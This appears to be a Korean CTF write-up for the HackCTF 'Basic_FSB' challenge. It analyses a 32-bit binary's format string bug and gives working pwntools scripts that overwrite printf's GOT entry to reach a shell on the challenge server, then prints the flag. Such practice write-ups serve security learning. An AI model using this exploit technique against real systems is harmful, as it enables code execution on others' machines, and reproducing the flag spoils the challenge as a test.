[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받아 그대로 출력
  • 입력 값 길이에 대한 변화 없음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  vuln();
  return 0;
}
  • 단순히 vuln 함수 호출

 

IDA 분석 - vuln 함수

int vuln()
{
  char s; // [esp+0h] [ebp-808h]@1
  char format; // [esp+400h] [ebp-408h]@1

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}
  • fgets 함수로 사용자에게 1024바이트 만큼 입력 받음
  • snprintf(&format, 0x400u, &s); → format에 입력값 복사, 그러나 서식 지정자 없이 사용하고 있어 FSB 취약점 발생
💡 snprintf 함수
변수에 문자열을 넣어줌으로서 정해진 바이트수를 변수로 출력해줌
char *f로 선언된 변수 안에 입력된 내용이 문자열로써 담김.
BOF를 막기 위해 문자열의 길이를 지정하는 좀 더 안전한 함수
  • return printf(&format); → 포맷 스트링이 없어 FSB 취약점 발생

 

IDA 분석 - flag 함수

int flag()
{
  puts("EN)you have successfully modified the value :)");
  puts("KR)#값조작 #성공적 #플래그 #FSB :)");
  return system("/bin/sh");
}
  • /bin/sh shell 실행

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  printf@plt
0x080483e0  fgets@plt
0x080483f0  puts@plt
0x08048400  system@plt
0x08048410  __libc_start_main@plt
0x08048420  setvbuf@plt
0x08048430  snprintf@plt
0x08048440  __gmon_start__@plt
0x08048450  _start
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484c0  register_tm_clones
0x08048500  __do_global_dtors_aux
0x08048520  frame_dummy
0x0804854b  vuln
0x080485b4  flag
0x080485ed  main
0x08048630  __libc_csu_init
0x08048690  __libc_csu_fini
0x08048694  _fini
  • main 주소: 0x080485ed
  • vuln 주소: 0x0804854b
  • flag 주소: 0x080485b4
  • printf@got 주소: 0x080483d0
  • snprintf@got 주소: 0x08048430

 

취약점

💡 vuln함수의 snprintf와 printf 함수에서 FSB 취약점 발생
- snprintf()를 통해서 다음에 실행할 printf()를 flag()로 실행하기 위해 printf()의 got를 flag()로 덮어씌우면 printf()대신에 flag() 실행

  • 입력 값의 offset이 2번째 위치임을 알 수 있음

문제 해결

💡aaaaaaaa . 0 . 61616161
    printf@got . flag 함수 주소 . %n
   의 순서로 매칭해야 함

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')

payload = p32(e.got['printf']) +"%134514096c%n"
payload = p32(0x804a00c) +"%134514096c%n"

print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3002)
e=ELF('./basic_fsb')

payload = p32(e.got['printf']) +b"%134514096c%n"
#payload = p32(0x804a00c) +b"%134514096c%n"

print(p.recvuntil(": "))
p.sendline(payload)
p.interactive()

 


flag

🍒 HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Basic_Bof #1  (0) 2022.10.30
[HackCTF] Basic_BOF #2  (0) 2022.10.30
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30

+ Recent posts